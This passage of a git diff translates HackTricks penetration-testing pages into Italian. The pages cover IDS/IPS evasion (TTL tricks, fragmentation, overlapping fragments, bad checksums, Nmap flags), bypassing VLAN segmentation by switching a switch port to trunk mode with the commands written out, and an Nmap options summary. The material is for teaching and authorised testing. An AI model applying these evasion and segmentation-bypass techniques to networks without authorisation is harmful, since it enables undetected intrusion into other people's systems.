intercettare e manipolare il traffico, simile alla procedura per l'hijacking GLBP. Questo evidenzia la vulnerabilità nei protocolli di ridondanza come HSRP e la necessità di misure di sicurezza robuste. -Executing these steps places the attacker in a position to intercept and manipulate traffic, similar to the procedure for GLBP hijacking. This highlights the vulnerability in redundancy protocols like HSRP and the need for robust security measures. - -## References +## Riferimenti - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) -
- -{% embed url="https://websec.nl/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/ids-evasion.md b/src/generic-methodologies-and-resources/pentesting-network/ids-evasion.md index fd94988fa..92591c48e 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/ids-evasion.md +++ b/src/generic-methodologies-and-resources/pentesting-network/ids-evasion.md @@ -1,57 +1,45 @@ {{#include ../../banners/hacktricks-training.md}} -
+# **Manipolazione TTL** -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: +Invia alcuni pacchetti con un TTL sufficiente per arrivare all'IDS/IPS ma non sufficiente per arrivare al sistema finale. E poi, invia altri pacchetti con le stesse sequenze degli altri in modo che l'IPS/IDS pensi che siano ripetizioni e non li controlli, ma in realtà portano contenuti dannosi. -{% embed url="https://academy.8ksec.io/" %} +**Opzione Nmap:** `--ttlvalue ` -# **TTL Manipulation** +# Evitare le firme -Send some packets with a TTL enough to arrive to the IDS/IPS but not enough to arrive to the final system. And then, send another packets with the same sequences as the other ones so the IPS/IDS will think that they are repetitions and won't check them, but indeed they are carrying the malicious content. +Aggiungi semplicemente dati spazzatura ai pacchetti in modo che la firma dell'IPS/IDS venga evitata. -**Nmap option:** `--ttlvalue ` +**Opzione Nmap:** `--data-length 25` -# Avoiding signatures +# **Pacchetti frammentati** -Just add garbage data to the packets so the IPS/IDS signature is avoided. +Frammenta semplicemente i pacchetti e inviali. Se l'IDS/IPS non ha la capacità di riassemblarli, arriveranno all'host finale. -**Nmap option:** `--data-length 25` +**Opzione Nmap:** `-f` -# **Fragmented Packets** +# **Checksum** _**non valido**_ -Just fragment the packets and send them. If the IDS/IPS doesn't have the ability to reassemble them, they will arrive to the final host. +I sensori di solito non calcolano il checksum per motivi di prestazioni. Quindi un attaccante può inviare un pacchetto che sarà **interpretato dal sensore ma rifiutato dall'host finale.** Esempio: -**Nmap option:** `-f` +Invia un pacchetto con il flag RST e un checksum non valido, così l'IPS/IDS potrebbe pensare che questo pacchetto stia per chiudere la connessione, ma l'host finale scarterà il pacchetto poiché il checksum è non valido. -# **Invalid** _**checksum**_ +# **Opzioni IP e TCP non comuni** -Sensors usually don't calculate checksum for performance reasons. So an attacker can send a packet that will be **interpreted by the sensor but rejected by the final host.** Example: +Un sensore potrebbe ignorare pacchetti con determinati flag e opzioni impostati all'interno delle intestazioni IP e TCP, mentre l'host di destinazione accetta il pacchetto al momento della ricezione. -Send a packet with the flag RST and a invalid checksum, so then, the IPS/IDS may thing that this packet is going to close the connection, but the final host will discard the packet as the checksum is invalid. +# **Sovrapposizione** -# **Uncommon IP and TCP options** +È possibile che quando frammenti un pacchetto, esista qualche tipo di sovrapposizione tra i pacchetti (forse i primi 8 byte del pacchetto 2 sovrappongono con gli ultimi 8 byte del pacchetto 1, e gli ultimi 8 byte del pacchetto 2 sovrappongono con i primi 8 byte del pacchetto 3). Quindi, se l'IDS/IPS li riassembla in un modo diverso rispetto all'host finale, un pacchetto diverso sarà interpretato.\ +O forse, 2 pacchetti con lo stesso offset arrivano e l'host deve decidere quale prendere. -A sensor might disregard packets with certain flags and options set within IP and TCP headers, whereas the destination host accepts the packet upon receipt. +- **BSD**: Ha preferenza per pacchetti con offset più piccoli. Per pacchetti con lo stesso offset, sceglierà il primo. +- **Linux**: Come BSD, ma preferisce l'ultimo pacchetto con lo stesso offset. +- **Primo** (Windows): Primo valore che arriva, valore che rimane. +- **Ultimo** (cisco): Ultimo valore che arriva, valore che rimane. -# **Overlapping** - -It is possible that when you fragment a packet, some kind of overlapping exists between packets (maybe first 8 bytes of packet 2 overlaps with last 8 bytes of packet 1, and 8 last bytes of packet 2 overlaps with first 8 bytes of packet 3). Then, if the IDS/IPS reassembles them in a different way than the final host, a different packet will be interpreted.\ -Or maybe, 2 packets with the same offset comes and the host has to decide which one it takes. - -- **BSD**: It has preference for packets with smaller _offset_. For packets with same offset, it will choose the first one. -- **Linux**: Like BSD, but it prefers the last packet with the same offset. -- **First** (Windows): First value that comes, value that stays. -- **Last** (cisco): Last value that comes, value that stays. - -# Tools +# Strumenti - [https://github.com/vecna/sniffjoke](https://github.com/vecna/sniffjoke) -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md b/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md index eaf5835eb..6e3bf2d90 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md +++ b/src/generic-methodologies-and-resources/pentesting-network/lateral-vlan-segmentation-bypass.md @@ -1,35 +1,28 @@ -# Lateral VLAN Segmentation Bypass +# Bypass della Segmentazione VLAN Laterale {{#include ../../banners/hacktricks-training.md}} -If direct access to a switch is available, VLAN segmentation can be bypassed. This involves reconfiguring the connected port to trunk mode, establishing virtual interfaces for target VLANs, and setting IP addresses, either dynamically (DHCP) or statically, depending on the scenario (**for further details check [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).** +Se è disponibile l'accesso diretto a uno switch, la segmentazione VLAN può essere bypassata. Questo comporta la riconfigurazione della porta connessa in modalità trunk, l'istituzione di interfacce virtuali per le VLAN target e l'impostazione degli indirizzi IP, sia dinamicamente (DHCP) che staticamente, a seconda dello scenario (**per ulteriori dettagli controlla [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).** -Initially, identification of the specific connected port is required. This can typically be accomplished through CDP messages, or by searching for the port via the **include** mask. - -**If CDP is not operational, port identification can be attempted by searching for the MAC address**: +Inizialmente, è necessaria l'identificazione della specifica porta connessa. Questo può essere tipicamente realizzato attraverso i messaggi CDP, o cercando la porta tramite la maschera **include**. +**Se CDP non è operativo, l'identificazione della porta può essere tentata cercando l'indirizzo MAC**: ``` SW1(config)# show mac address-table | include 0050.0000.0500 ``` - -Prior to switching to trunk mode, a list of existing VLANs should be compiled, and their identifiers determined. These identifiers are then assigned to the interface, enabling access to various VLANs through the trunk. The port in use, for instance, is associated with VLAN 10. - +Prima di passare alla modalità trunk, è necessario compilare un elenco delle VLAN esistenti e determinare i loro identificatori. Questi identificatori vengono quindi assegnati all'interfaccia, consentendo l'accesso a varie VLAN tramite il trunk. La porta in uso, ad esempio, è associata alla VLAN 10. ``` SW1# show vlan brief ``` - -**Transitioning to trunk mode entails entering interface configuration mode**: - +**La transizione alla modalità trunk comporta l'ingresso nella modalità di configurazione dell'interfaccia**: ``` SW1(config)# interface GigabitEthernet 0/2 SW1(config-if)# switchport trunk encapsulation dot1q SW1(config-if)# switchport mode trunk ``` +Passare alla modalità trunk interromperà temporaneamente la connettività, ma questa può essere ripristinata successivamente. -Switching to trunk mode will temporarily disrupt connectivity, but this can be restored subsequently. - -Virtual interfaces are then created, assigned VLAN IDs, and activated: - +Vengono quindi create interfacce virtuali, assegnati ID VLAN e attivate: ```bash sudo vconfig add eth0 10 sudo vconfig add eth0 20 @@ -40,27 +33,22 @@ sudo ifconfig eth0.20 up sudo ifconfig eth0.50 up sudo ifconfig eth0.60 up ``` - -Subsequently, an address request is made via DHCP. Alternatively, in cases where DHCP is not viable, addresses can be manually configured: - +Successivamente, viene effettuata una richiesta di indirizzo tramite DHCP. In alternativa, nei casi in cui DHCP non sia praticabile, gli indirizzi possono essere configurati manualmente: ```bash sudo dhclient -v eth0.10 sudo dhclient -v eth0.20 sudo dhclient -v eth0.50 sudo dhclient -v eth0.60 ``` - -Example for manually setting a static IP address on an interface (VLAN 10): - +Esempio per impostare manualmente un indirizzo IP statico su un'interfaccia (VLAN 10): ```bash sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0 ``` +La connettività viene testata avviando richieste ICMP ai gateway predefiniti per le VLAN 10, 20, 50 e 60. -Connectivity is tested by initiating ICMP requests to the default gateways for VLANs 10, 20, 50, and 60. +In definitiva, questo processo consente di bypassare la segmentazione VLAN, facilitando così l'accesso illimitato a qualsiasi rete VLAN e preparando il terreno per azioni successive. -Ultimately, this process enables bypassing of VLAN segmentation, thereby facilitating unrestricted access to any VLAN network, and setting the stage for subsequent actions. - -## References +## Riferimenti - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) diff --git a/src/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md b/src/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md index 72dfbfb12..91c31a9c4 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md +++ b/src/generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md @@ -2,54 +2,54 @@ ## Multicast DNS (mDNS) -The **mDNS** protocol is designed for IP address resolution within small, local networks without a dedicated name server. It operates by multicasting a query within the subnet, prompting the host with the specified name to respond with its IP address. All devices in the subnet can then update their mDNS caches with this information. +Il protocollo **mDNS** è progettato per la risoluzione degli indirizzi IP all'interno di piccole reti locali senza un server di nomi dedicato. Funziona multicasting una query all'interno della subnet, invitando l'host con il nome specificato a rispondere con il proprio indirizzo IP. Tutti i dispositivi nella subnet possono quindi aggiornare le loro cache mDNS con queste informazioni. -Key points to note: +Punti chiave da notare: -- **Domain Name Relinquishment**: A host can release its domain name by sending a packet with a TTL of zero. -- **Usage Restriction**: mDNS typically resolves names ending in **.local** only. Conflicts with non-mDNS hosts in this domain require network configuration adjustments. -- **Networking Details**: - - Ethernet multicast MAC addresses: IPv4 - `01:00:5E:00:00:FB`, IPv6 - `33:33:00:00:00:FB`. - - IP addresses: IPv4 - `224.0.0.251`, IPv6 - `ff02::fb`. - - Operates over UDP port 5353. - - mDNS queries are confined to the local network and do not cross routers. +- **Rinuncia al Nome di Dominio**: Un host può rilasciare il proprio nome di dominio inviando un pacchetto con un TTL di zero. +- **Restrizione all'Uso**: mDNS risolve tipicamente solo i nomi che terminano in **.local**. I conflitti con host non mDNS in questo dominio richiedono aggiustamenti nella configurazione della rete. +- **Dettagli di Rete**: +- Indirizzi MAC multicast Ethernet: IPv4 - `01:00:5E:00:00:FB`, IPv6 - `33:33:00:00:00:FB`. +- Indirizzi IP: IPv4 - `224.0.0.251`, IPv6 - `ff02::fb`. +- Opera sulla porta UDP 5353. +- Le query mDNS sono confinate alla rete locale e non attraversano i router. ## DNS-SD (Service Discovery) -DNS-SD is a protocol for discovering services on a network by querying specific domain names (e.g., `_printers._tcp.local`). A response includes all related domains, such as available printers in this case. A comprehensive list of service types can be found [here](http://www.dns-sd.org/ServiceTypes.html). +DNS-SD è un protocollo per scoprire servizi su una rete interrogando nomi di dominio specifici (ad es., `_printers._tcp.local`). Una risposta include tutti i domini correlati, come le stampanti disponibili in questo caso. Un elenco completo dei tipi di servizio può essere trovato [qui](http://www.dns-sd.org/ServiceTypes.html). ## SSDP (Simple Service Discovery Protocol) -SSDP facilitates the discovery of network services and is primarily utilized by UPnP. It's a text-based protocol using UDP over port 1900, with multicast addressing. For IPv4, the designated multicast address is `239.255.255.250`. SSDP's foundation is [HTTPU](https://en.wikipedia.org/wiki/HTTPU), an extension of HTTP for UDP. +SSDP facilita la scoperta di servizi di rete ed è principalmente utilizzato da UPnP. È un protocollo basato su testo che utilizza UDP sulla porta 1900, con indirizzamento multicast. Per IPv4, l'indirizzo multicast designato è `239.255.255.250`. La base di SSDP è [HTTPU](https://en.wikipedia.org/wiki/HTTPU), un'estensione di HTTP per UDP. ## Web Service for Devices (WSD) -Devices connected to a network can identify available services, like printers, through the Web Service for Devices (WSD). This involves broadcasting UDP packets. Devices seeking services send requests, while service providers announce their offerings. +I dispositivi connessi a una rete possono identificare i servizi disponibili, come le stampanti, attraverso il Web Service for Devices (WSD). Questo comporta la trasmissione di pacchetti UDP. I dispositivi che cercano servizi inviano richieste, mentre i fornitori di servizi annunciano le loro offerte. ## OAuth 2.0 -OAuth 2.0 is a protocol facilitating secure, selective sharing of user information between services. For instance, it enables services to access user data from Google without multiple logins. The process involves user authentication, authorization by the user, and token generation by Google, allowing service access to the specified user data. +OAuth 2.0 è un protocollo che facilita la condivisione sicura e selettiva delle informazioni degli utenti tra i servizi. Ad esempio, consente ai servizi di accedere ai dati degli utenti da Google senza più accessi. Il processo coinvolge l'autenticazione dell'utente, l'autorizzazione da parte dell'utente e la generazione di token da parte di Google, consentendo l'accesso ai dati specificati dell'utente. ## RADIUS -RADIUS (Remote Authentication Dial-In User Service) is a network access protocol primarily used by ISPs. It supports authentication, authorization, and accounting. User credentials are verified by a RADIUS server, potentially including network address verification for added security. Post-authentication, users receive network access and their session details are tracked for billing and statistical purposes. +RADIUS (Remote Authentication Dial-In User Service) è un protocollo di accesso alla rete utilizzato principalmente dai fornitori di servizi Internet (ISP). Supporta autenticazione, autorizzazione e contabilizzazione. Le credenziali dell'utente vengono verificate da un server RADIUS, che può includere la verifica dell'indirizzo di rete per una maggiore sicurezza. Dopo l'autenticazione, gli utenti ricevono accesso alla rete e i dettagli della loro sessione vengono tracciati per scopi di fatturazione e statistici. -## SMB and NetBIOS +## SMB e NetBIOS ### SMB (Server Message Block) -SMB is a protocol for sharing files, printers, and ports. It operates directly over TCP (port 445) or via NetBIOS over TCP (ports 137, 138). This dual compatibility enhances connectivity with various devices. +SMB è un protocollo per la condivisione di file, stampanti e porte. Opera direttamente su TCP (porta 445) o tramite NetBIOS su TCP (porte 137, 138). Questa doppia compatibilità migliora la connettività con vari dispositivi. ### NetBIOS (Network Basic Input/Output System) -NetBIOS manages network sessions and connections for resource sharing. It supports unique names for devices and group names for multiple devices, enabling targeted or broadcast messaging. Communication can be connectionless (no acknowledgment) or connection-oriented (session-based). While NetBIOS traditionally operates over protocols like IPC/IPX, it's commonly used over TCP/IP. NetBEUI, an associated protocol, is known for its speed but was also quite verbose due to broadcasting. +NetBIOS gestisce le sessioni di rete e le connessioni per la condivisione delle risorse. Supporta nomi unici per i dispositivi e nomi di gruppo per più dispositivi, consentendo messaggi mirati o di broadcast. La comunicazione può essere senza connessione (senza riconoscimento) o orientata alla connessione (basata su sessione). Sebbene NetBIOS operi tradizionalmente su protocolli come IPC/IPX, è comunemente utilizzato su TCP/IP. NetBEUI, un protocollo associato, è noto per la sua velocità ma era anche piuttosto verboso a causa del broadcasting. ## LDAP (Lightweight Directory Access Protocol) -LDAP is a protocol enabling the management and access of directory information over TCP/IP. It supports various operations for querying and modifying directory information. Predominantly, it's utilized for accessing and maintaining distributed directory information services, allowing interaction with databases designed for LDAP communication. +LDAP è un protocollo che consente la gestione e l'accesso alle informazioni di directory su TCP/IP. Supporta varie operazioni per interrogare e modificare le informazioni di directory. Predominantemente, è utilizzato per accedere e mantenere servizi di informazioni di directory distribuite, consentendo l'interazione con database progettati per la comunicazione LDAP. ## Active Directory (AD) -Active Directory is a network-accessible database containing objects like users, groups, privileges, and resources, facilitating centralized management of network entities. AD organizes its data into a hierarchical structure of domains, which can encompass servers, groups, and users. Subdomains allow further segmentation, each potentially maintaining its own server and user base. This structure centralizes user management, granting or restricting access to network resources. Queries can be made to retrieve specific information, like contact details, or to locate resources, like printers, within the domain. +Active Directory è un database accessibile in rete contenente oggetti come utenti, gruppi, privilegi e risorse, facilitando la gestione centralizzata delle entità di rete. AD organizza i propri dati in una struttura gerarchica di domini, che può comprendere server, gruppi e utenti. I sottodomini consentono ulteriori segmentazioni, ciascuno potenzialmente mantenendo il proprio server e base utenti. Questa struttura centralizza la gestione degli utenti, concedendo o limitando l'accesso alle risorse di rete. È possibile effettuare query per recuperare informazioni specifiche, come dettagli di contatto, o per localizzare risorse, come stampanti, all'interno del dominio. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md b/src/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md index 02535d28b..8da74477c 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md +++ b/src/generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md @@ -1,96 +1,90 @@ -# Nmap Summary (ESP) +# Riepilogo di Nmap (ESP) {{#include ../../banners/hacktricks-training.md}} - -
- -{% embed url="https://websec.nl/" %} - ``` nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24 ``` +## Parametri -## Parameters +### IP da scansionare -### IPs to scan - -- **`,`:** Indicate the ips directly +- **`,`:** Indica gli ip direttamente - **`-iL `:** list_IPs -- **`-iR `**: Number of random Ips, you can exclude possible Ips with `--exclude ` or `--excludefile `. +- **`-iR `**: Numero di Ips casuali, puoi escludere possibili Ips con `--exclude ` o `--excludefile `. -### Equipment discovery +### Scoperta dell'attrezzatura -By default Nmap launches a discovery phase consisting of: `-PA80 -PS443 -PE -PP` +Per impostazione predefinita, Nmap avvia una fase di scoperta composta da: `-PA80 -PS443 -PE -PP` -- **`-sL`**: It is not invasive, it lists the targets making **DNS** requests to resolve names. It is useful to know if for example www.prueba.es/24 all Ips are our targets. -- **`-Pn`**: **No ping**. This is useful if you know that all of them are active (if not, you could lose a lot of time, but this option also produces false negatives saying that they are not active), it prevents the discovery phase. -- **`-sn`** : **No port scan**. After completing the reconnaissance phase, it does not scan ports. It is relatively stealthy, and allows a small network scan. With privileges it sends an ACK (-PA) to 80, a SYN(-PS) to 443 and an echo request and a Timestamp request, without privileges it always completes connections. If the target is the network, it only uses ARP(-PR). If used with another option, only the packets of the other option are dropped. -- **`-PR`**: **Ping ARP**. It is used by default when analyzing computers in our network, it is faster than using pings. If you do not want to use ARP packets use `--send-ip`. -- **`-PS `**: It sends SYN packets to which if it answers SYN/ACK it is open (to which it answers with RST so as not to end the connection), if it answers RST it is closed and if it does not answer it is unreachable. In case of not having privileges, a total connection is automatically used. If no ports are given, it throws it to 80. -- **`-PA `**: Like the previous one but with ACK, combining both of them gives better results. -- **`-PU `**: The objective is the opposite, they are sent to ports that are expected to be closed. Some firewalls only check TCP connections. If it is closed it is answered with port unreachable, if it is answered with another icmp or not answered it is left as destination unreachable. -- **`-PE, -PP, -PM`** : ICMP PINGS: echo replay, timestamp and addresmask. They are launched to find out if the target is active. -- **`-PY`**: Sends SCTP INIT probes to 80 by default, INIT-ACK(open) or ABORT(closed) or nothing or ICMP unreachable(inactive) can be replied. -- **`-PO `**: A protocol is indicated in the headers, by default 1(ICMP), 2(IGMP) and 4(Encap IP). For ICMP, IGMP, TCP (6) and UDP (17) protocols the protocol headers are sent, for the rest only the IP header is sent. The purpose of this is that due to the malformation of the headers, Protocol unreachable or responses of the same protocol are answered to know if it is up. -- **`-n`**: No DNS -- **`-R`**: DNS always +- **`-sL`**: Non è invasivo, elenca i target effettuando richieste **DNS** per risolvere i nomi. È utile sapere se, ad esempio, www.prueba.es/24 tutti gli Ips sono i nostri target. +- **`-Pn`**: **Nessun ping**. Questo è utile se sai che tutti sono attivi (in caso contrario, potresti perdere molto tempo, ma questa opzione produce anche falsi negativi dicendo che non sono attivi), impedisce la fase di scoperta. +- **`-sn`** : **Nessuna scansione delle porte**. Dopo aver completato la fase di ricognizione, non scansiona le porte. È relativamente furtivo e consente una piccola scansione di rete. Con privilegi invia un ACK (-PA) a 80, un SYN(-PS) a 443 e una richiesta di echo e una richiesta di Timestamp, senza privilegi completa sempre le connessioni. Se il target è la rete, utilizza solo ARP(-PR). Se usato con un'altra opzione, vengono scartati solo i pacchetti dell'altra opzione. +- **`-PR`**: **Ping ARP**. Viene utilizzato per impostazione predefinita quando si analizzano i computer nella nostra rete, è più veloce rispetto all'uso dei ping. Se non vuoi utilizzare pacchetti ARP usa `--send-ip`. +- **`-PS `**: Invia pacchetti SYN ai quali, se risponde SYN/ACK, è aperto (a cui risponde con RST per non terminare la connessione), se risponde RST è chiuso e se non risponde è irraggiungibile. In caso di mancanza di privilegi, viene utilizzata automaticamente una connessione totale. Se non vengono forniti port, viene inviato a 80. +- **`-PA `**: Come il precedente ma con ACK, combinando entrambi si ottengono risultati migliori. +- **`-PU `**: L'obiettivo è l'opposto, vengono inviati a porte che ci si aspetta siano chiuse. Alcuni firewall controllano solo le connessioni TCP. Se è chiusa, viene risposto con porta irraggiungibile, se viene risposto con un altro icmp o non viene risposto, viene lasciato come irraggiungibile. +- **`-PE, -PP, -PM`** : ICMP PINGS: echo replay, timestamp e addresmask. Vengono lanciati per scoprire se il target è attivo. +- **`-PY`**: Invia probe SCTP INIT a 80 per impostazione predefinita, può rispondere INIT-ACK(aperto) o ABORT(chiuso) o nulla o ICMP irraggiungibile(inattivo). +- **`-PO `**: Viene indicato un protocollo negli header, per impostazione predefinita 1(ICMP), 2(IGMP) e 4(Encap IP). Per i protocolli ICMP, IGMP, TCP (6) e UDP (17) vengono inviati gli header del protocollo, per il resto viene inviato solo l'header IP. Lo scopo di questo è che a causa della malformazione degli header, vengono risposte Protocol irraggiungibile o risposte dello stesso protocollo per sapere se è attivo. +- **`-n`**: Nessun DNS +- **`-R`**: DNS sempre -### Port scanning techniques +### Tecniche di scansione delle porte -- **`-sS`**: Does not complete the connection so it leaves no trace, very good if it can be used.(privileges) It is the one used by default. -- **`-sT`**: Completes the connection, so it does leave a trace, but it can be used for sure. By default without privileges. -- **`-sU`**: Slower, for UDP. Mostly: DNS(53), SNMP(161,162), DHCP(67 and 68), (-sU53,161,162,67,68): open(reply), closed(port unreachable), filtered (another ICMP), open/filtered (nothing). In case of open/filtered, -sV sends numerous requests to detect any of the versions that nmap supports and can detect the true state. It increases a lot the time. -- **`-sY`**: SCTP protocol fails to establish the connection, so there are no logs, works like -PY -- **`-sN,-sX,-sF`:** Null, Fin, Xmas, they can penetrate some firewalls and extract information. They are based on the fact that standard compliant machines should respond with RST all requests that do not have SYN, RST or ACK lags raised: open/filtered(nothing), closed(RST), filtered (ICMP unreachable). Unreliable on WIndows, CIsco, BSDI and OS/400. On unix yes. -- **`-sM`**: Maimon scan: Sends FIN and ACK flags, used for BSD, currently will return all as closed. -- **`-sA, sW`**: ACK and Window, is used to detect firewalls, to know if the ports are filtered or not. The -sW does distinguish between open/closed since the open ones respond with a different window value: open (RST with window other than 0), closed (RST window = 0), filtered (ICMP unreachable or nothing). Not all computers work this way, so if it is all closed, it is not working, if it is a few open, it is working fine, and if it is many open and few closed, it is working the other way around. -- **`-sI`:** Idle scan. For the cases in which there is an active firewall but we know that it does not filter to a certain Ip (or when we simply want anonymity) we can use the zombie scanner (it works for all the ports), to look for possible zombies we can use the scrpit ipidseq or the exploit auxiliary/scanner/ip/ipidseq. This scanner is based on the IPID number of the IP packets. -- **`--badsum`:** It sends the sum wrong, the computers would discard the packets, but the firewalls could answer something, it is used to detect firewalls. -- **`-sZ`:** "Weird" SCTP scanner, when sending probes with cookie echo fragments they should be dropped if open or responded with ABORT if closed. It can pass through firewalls that init does not pass through, the bad thing is that it does not distinguish between filtered and open. -- **`-sO`:** Protocol Ip scan. Sends bad and empty headers in which sometimes not even the protocol can be distinguished. If ICMP unreachable protocol arrives it is closed, if unreachable port arrives it is open, if another error arrives, filtered, if nothing arrives, open|filtered. -- **`-b `:** FTPhost--> It is used to scan a host from another one, this is done by connecting the ftp of another machine and asking it to send files to the ports that you want to scan from another machine, according to the answers we will know if they are open or not. \[\:\@]\\[:\] Almost all ftps servers no longer let you do this and therefore it is of little practical use. +- **`-sS`**: Non completa la connessione quindi non lascia tracce, molto buono se può essere usato.(privilegi) È quello utilizzato per impostazione predefinita. +- **`-sT`**: Completa la connessione, quindi lascia una traccia, ma può essere utilizzato con certezza. Per impostazione predefinita senza privilegi. +- **`-sU`**: Più lento, per UDP. Principalmente: DNS(53), SNMP(161,162), DHCP(67 e 68), (-sU53,161,162,67,68): aperto(risposta), chiuso(porta irraggiungibile), filtrato (un altro ICMP), aperto/filtrato (nulla). In caso di aperto/filtrato, -sV invia numerose richieste per rilevare una delle versioni che nmap supporta e può rilevare il vero stato. Aumenta molto il tempo. +- **`-sY`**: Il protocollo SCTP non riesce a stabilire la connessione, quindi non ci sono log, funziona come -PY +- **`-sN,-sX,-sF`:** Null, Fin, Xmas, possono penetrare alcuni firewall ed estrarre informazioni. Si basano sul fatto che le macchine conformi agli standard dovrebbero rispondere con RST a tutte le richieste che non hanno ritardi SYN, RST o ACK: aperto/filtrato(nulla), chiuso(RST), filtrato (ICMP irraggiungibile). Inaffidabile su Windows, Cisco, BSDI e OS/400. Su unix sì. +- **`-sM`**: Scansione Maimon: Invia flag FIN e ACK, utilizzato per BSD, attualmente restituirà tutto come chiuso. +- **`-sA, sW`**: ACK e Window, viene utilizzato per rilevare firewall, per sapere se le porte sono filtrate o meno. Il -sW distingue tra aperto/chiuso poiché quelli aperti rispondono con un valore di finestra diverso: aperto (RST con finestra diversa da 0), chiuso (RST finestra = 0), filtrato (ICMP irraggiungibile o nulla). Non tutti i computer funzionano in questo modo, quindi se è tutto chiuso, non funziona, se è pochi aperti, funziona bene, e se è molti aperti e pochi chiusi, funziona al contrario. +- **`-sI`:** Scansione Idle. Per i casi in cui c'è un firewall attivo ma sappiamo che non filtra a un certo Ip (o quando vogliamo semplicemente anonimato) possiamo utilizzare lo scanner zombie (funziona per tutte le porte), per cercare possibili zombie possiamo usare lo script ipidseq o l'exploit ausiliario/scanner/ip/ipidseq. Questo scanner si basa sul numero IPID dei pacchetti IP. +- **`--badsum`:** Invia la somma errata, i computer scarterebbero i pacchetti, ma i firewall potrebbero rispondere a qualcosa, viene utilizzato per rilevare firewall. +- **`-sZ`:** Scanner SCTP "strano", quando invia probe con frammenti di echo cookie dovrebbero essere scartati se aperti o rispondere con ABORT se chiusi. Può passare attraverso firewall che init non passa, il brutto è che non distingue tra filtrato e aperto. +- **`-sO`:** Scansione del protocollo Ip. Invia header errati e vuoti in cui a volte non può essere nemmeno distinto il protocollo. Se arriva un protocollo ICMP irraggiungibile è chiuso, se arriva una porta irraggiungibile è aperta, se arriva un altro errore, filtrato, se non arriva nulla, aperto|filtrato. +- **`-b `:** FTPhost--> Viene utilizzato per scansionare un host da un altro, questo viene fatto collegando l'ftp di un'altra macchina e chiedendole di inviare file alle porte che vuoi scansionare da un'altra macchina, in base alle risposte sapremo se sono aperte o meno. \[\:\@]\\[:\] Quasi tutti i server ftps non ti permettono più di farlo e quindi è di poco uso pratico. -### **Focus Analysis** +### **Analisi Focalizzata** -**-p:** Used to specify ports to scan. To select all 65,335 ports: **-p-** or **-p all**. Nmap has an internal classification based on popularity. By default, it uses the top 1000 ports. With **-F** (fast scan) it analyzes the top 100. With **--top-ports ** it analyzes that number of top ports (from 1 to 65,335). It checks ports in random order; to prevent this, use **-r**. We can also select specific ports: 20-30,80,443,1024- (the latter means to look from 1024 onwards). We can also group ports by protocols: U:53,T:21-25,80,139,S:9. We can also choose a range within Nmap's popular ports: -p [-1024] analyzes up to port 1024 from those included in nmap-services. **--port-ratio ** Analyzes the most common ports within a ratio between 0 and 1 +**-p:** Utilizzato per specificare le porte da scansionare. Per selezionare tutte le 65.335 porte: **-p-** o **-p all**. Nmap ha una classificazione interna basata sulla popolarità. Per impostazione predefinita, utilizza le prime 1000 porte. Con **-F** (scansione veloce) analizza le prime 100. Con **--top-ports ** analizza quel numero di porte principali (da 1 a 65.335). Controlla le porte in ordine casuale; per prevenire questo, usa **-r**. Possiamo anche selezionare porte specifiche: 20-30,80,443,1024- (quest'ultima significa cercare da 1024 in poi). Possiamo anche raggruppare le porte per protocolli: U:53,T:21-25,80,139,S:9. Possiamo anche scegliere un intervallo all'interno delle porte popolari di Nmap: -p [-1024] analizza fino alla porta 1024 da quelle incluse in nmap-services. **--port-ratio ** Analizza le porte più comuni all'interno di un rapporto tra 0 e 1 -**-sV** Version scanning, intensity can be regulated from 0 to 9, default is 7. +**-sV** Scansione delle versioni, l'intensità può essere regolata da 0 a 9, il valore predefinito è 7. -**--version-intensity ** We regulate the intensity, so that the lower it is, it will only launch the most probable probes, but not all. With this, we can considerably shorten UDP scanning time +**--version-intensity ** Regoliamo l'intensità, in modo che più è basso, lancerà solo le probe più probabili, ma non tutte. Con questo, possiamo ridurre notevolmente il tempo di scansione UDP -**-O** OS detection +**-O** Rilevamento del sistema operativo -**--osscan-limit** For proper host scanning, at least one open port and one closed port are needed. If this condition isn't met and we've set this, it won't attempt OS prediction (saves time) +**--osscan-limit** Per una corretta scansione degli host, sono necessarie almeno una porta aperta e una chiusa. Se questa condizione non è soddisfatta e abbiamo impostato questo, non tenterà la previsione del sistema operativo (risparmia tempo) -**--osscan-guess** When OS detection isn't perfect, this makes it try harder +**--osscan-guess** Quando il rilevamento del sistema operativo non è perfetto, questo lo fa provare di più -**Scripts** +**Script** --script __|__|__|__[,...] -To use default scripts, use -sC or --script=default +Per utilizzare script predefiniti, usa -sC o --script=default -Available types are: auth, broadcast, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, 